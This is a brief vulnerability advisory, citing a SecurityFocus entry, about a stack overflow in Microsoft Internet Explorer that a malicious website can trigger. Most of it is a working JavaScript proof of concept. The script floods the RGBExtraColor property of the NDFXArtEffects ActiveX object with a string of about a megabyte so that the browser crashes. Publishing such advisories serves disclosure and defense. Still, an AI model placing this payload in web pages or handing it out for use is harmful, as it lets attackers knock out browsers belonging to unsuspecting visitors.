source: https://www.securityfocus.com/bid/19184/info Microsoft Internet Explorer is prone to a stack-overflow vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website. Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users. var b = 'XXXX'; while(b.length <=1024*1024) b+=b; var a = new ActiveXObject('DXImageTransform.Microsoft.NDFXArtEffects.1'); var i = 1016320; a.RGBExtraColor = b.substring(0,i);